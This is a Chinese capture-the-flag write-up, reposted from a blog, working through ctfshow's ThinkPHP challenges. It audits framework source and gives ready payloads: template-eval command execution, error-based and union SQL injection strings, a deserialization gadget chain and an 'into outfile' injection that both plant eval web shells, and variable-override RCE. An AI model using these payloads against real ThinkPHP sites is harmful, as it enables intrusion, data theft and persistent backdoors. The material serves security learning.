ctfshow thinkphp专题

前言

跟进一步增强php的代码审计能力,了解tp框架

从最基础的开始学习,目的不是为了一把梭,而是要明白它的原理和设计思路,为我们以后自主调试挖洞打下基础

web569——路由

本题使用的版本为3.2.3

image-20211003162628703

ThinkPHP3.2.3完全开发手册-架构-URL模式

入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:

http://serverName/index.php/模块/控制器/操作

这是3.2版本的标准URL格式。

payload:

http://ctf.show:8080/index.php/Admin/Login/ctfshowLogin

注意:

ThinkPHP框架的URL是区分大小写(主要是针对模块、控制器和操作名,不包括应用参数)的,这一点非常关键,因为ThinkPHP的命名规范是采用驼峰法(首字母大写)的规则,而URL中的模块和控制器都是对应的文件,因此在Linux环境下面必然存在区分大小写的问题。

web570——闭包路由后门

需要根据题目提供的application文件来进行审计

  • 闭包路由

官方手册:闭包支持,仔细了解定义就是用户可以自定义的一些特殊路由

  • seay自动审计:/Application/Common/Conf/config.php

image-20211003172431873

这个路径在手册中有提到:

image-20211003172611452

<?php
return array(
	//'配置项'=>'配置值'
	'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'ctfshow',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'ctfshow',          // 密码
    'DB_PORT'               =>  '3306',        // 端口
    'URL_ROUTER_ON'   => true, 
	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    
    //这里可以根据pathinfo的url支持模式理解
    	call_user_func($f, $a);
    	}
    )
);

payload:

image-20211003173627591

web571——控制器后门

因为存在控制器后门,所以去到/Application/Home/Controller/IndexController.class.php文件:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    
    
    public function index($n=''){
    
    
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
    }

}

注意其中 n 的 位 置 , 此 处 调 用 了 s h o w 函 数 , 且 n的位置,此处调用了show函数,且 nshown我们可以自定义

image-20211003184619116

自行下载tp3的完整版来跟踪一下:

protected function show($content,$charset='',$contentType='',$prefix='') {
    
    
        $this->view->display('',$charset,$contentType,$content,$prefix);
    }
//既然题目要求的是渲染view中的内容,那就跟踪view中的display函数
——————————————————————————————————————————————————————————————————————————————————
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
    
    
        G('viewStartTime');
        // 视图开始标签
        Hook::listen('view_begin',$templateFile);
        // 解析并获取模板内容
        $content = $this->fetch($templateFile,$content,$prefix);
        // 输出模板内容
        $this->render($content,$charset,$contentType);
        // 视图结束标签
        Hook::listen('view_end');
    }

---------------------------------------------------------------------------------
public function fetch($templateFile='',$content='',$prefix='') {
    
    
        if(empty($content)) {
    
    //此处不为空,可以直接pass掉
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
    
    
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
    
     // 使用PHP原生模板(此处函数C的作用是优先执行设置获取或赋值,它有一个名字叫动态配置)
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);//EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);//此处为命令执行点
        }else{
    
    
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

经过上述总结需要满足点较少:

  1. 'php' == strtolower(C('TMPL_ENGINE_TYPE'))

可以通过seay定位一下,显然题目用的是php

payload:

?n=<?php system('cat%20/f*');?>

至于为什么不需要模板控制器和函数,可能是因为我们的入口文件

web572——未授权访问日志

image-20211004173301136

文件位置:

/Application/Runtime/Logs/Home/年份_月份_日.log(21_04_15.log)
此处主要针对日期进行爆破

至于为什么可以访问日志文件:日志记录

默认情况下只是在调试模式记录日志:

如果debug之前没有关,或是目录限制没做好,可能造成信息泄露.
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录
限制又没做好,那么就可以尝试利用

web573——Tp3.2.3sql注入

thinkPHP3.2.3sql注入漏洞

payload:

//爆表
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) %23
//爆列名
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),1) %23
//爆字段值
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,substr((select group_concat(flag4s) from flags),16,32),0x7e),1) %23

web574

public function index($id=1){
    
    
$name = M('user')->where('id='.$id)->find();
}

最后还是逃脱不了find方法,需要重视的地方无非是where,按照相同方法debug:

image-20211005233441367

在外面多了一层括号,可以尝试闭合:

?id=-1) union select 1,user(),3,4%23
?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23

web575——ThinkPHP3.2.3的反序列化

thinkPHP3.2.3反序列化漏洞

<?php
namespace Think\Image\Driver{
    
    
    use Think\Session\Driver\Memcache;
    class Imagick{
    
    
        private $img;
        public function __construct(){
    
    
            $this->img = new Memcache();

        }
    }
}


namespace Think\Session\Driver{
    
    
    use Think\Model;

    class Memcache {
    
    
        protected $handle;
        public function __construct(){
    
    
            $this->handle = new Model();

        }
    }

}

namespace Think{
    
    
    use Think\Db\Driver\Mysql;
    class Model {
    
    
        protected $data=array();
        protected $pk;
        protected $options=array();
        protected $db=null;

        public function __construct()
        {
    
    
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'mysql.user where 1=2;select "<?php eval(\$_POST[8]);?>" into outfile "/var/www/html/yn8.php";#'

            );


        }
    }
}


//初始化数据库连接
namespace Think\Db\Driver{
    
    
    use PDO;
    class Mysql {
    
    

        protected $config     = array(
            'debug'             =>   true,
            "charset"           =>  "utf8",
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  '127.0.0.1', // 服务器地址
            'database'          =>  'ctfshow',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
        );
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
            //PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了,开启后可堆叠注入
        );


    }

}


namespace{
    
    
    echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));
}


?>

image-20211007171450331

web576——SQL注入(comment方法/注释注入)

搭建

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    
    
    public function index($id){
    
    
        $this->show();
        $user = M('user')->comment($id)->find(intval($id));
        var_dump($user);
    }
}

开始

debug开始,直奔主题,步入comment函数:image-20211010153420289

之前接触的是$options['where'],现在是comment,最后还是到了parsesql:image-20211010154634933

然后步入进去:image-20211010154938352

返回值完全可以利用合并注释符号来实现用户自定义控制$comment,并且最后都没有过滤,不过最后的问题是这样的:image-20211010160139064

我们传入的参数在limit后面,不要急,百度一下:

【转载】Mysql注入点在limit关键字后面的利用方法

其中有提到limit后面可以有into关键字所以可以,写shell拿权限:

?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[8]);?>'/*

web577——exp注入

public function index($id=1){
    
    
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

相同原理不再赘述

web578——TP3 变量覆盖导致rce

搭建

public function index($name='',$from='ctfshow'){
    
    
$this->assign($name,$from);
$this->display('index');
}

在本地搭建一下环境,自己新建一个index.html,然后到ThinkPHP/Conf/convention.php中修改模版引擎为PHP。

image-20211010192545973

开始

protected function assign($name,$value='') {
    
    
        $this->view->assign($name,$value);
        return $this;
    }

image-20211010193729426

传入的name不是数组,因此会进入else,返回值没有收到影响,

$name=_content
$value=<?php phpinfo();?>

然后就是进入熟悉的display函数了

image-20211010195919094

注意extract的位置,会将$_content 解析为变量并同时覆盖掉下面的,然后就会触发后面的eval函数,造成rce

?name=_content&from=<?php phpinfo();?>
?name=_content&from=<?php%20system(%27cat%20/f*%27);?>

579——TP5.0.x 未开启强制路由RCE

ThinkPHP5 RCE漏洞代码审计

おすすめ

転載: blog.csdn.net/qq_50589021/article/details/120750053